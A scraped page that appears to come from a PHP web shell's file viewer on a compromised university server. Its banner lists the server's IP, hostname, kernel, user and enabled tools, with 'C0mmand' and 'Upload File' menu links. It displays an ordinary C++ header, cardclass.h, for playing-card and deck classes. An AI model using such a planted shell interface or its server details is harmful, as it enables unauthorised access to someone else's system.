Server IP : 172.16.15.8 / Your IP : 3.138.69.39 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/jwmccreary/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// cardclass.h - Header file for card and card deck classes // Support types for the cards and card deck const int DECKSIZE = 52; // Number of cards in deck enum SuitType {CLUB, DIAMOND, HEART, SPADE}; // Suit values enum FaceType {TWO, THREE, FOUR, FIVE, SIX, SEVEN, // Face values EIGHT, NINE, TEN, JACK, QUEEN, KING, ACE}; // The card class class CardType { public: CardType(); void Assign(SuitType s, FaceType f); void Print(); bool GreaterFace(CardType othercard); bool EqualFace(CardType othercard); bool GreaterSuit(CardType othercard); bool EqualSuit(CardType othercard); private: SuitType suit; FaceType face; }; // The deck class class DeckType { public: DeckType(); void Print(); void Shuffle(); bool IsEmpty(); CardType DrawCard(); private: CardType cards[DECKSIZE]; // The cards int top; // The next card to be drawn (starts at 0) };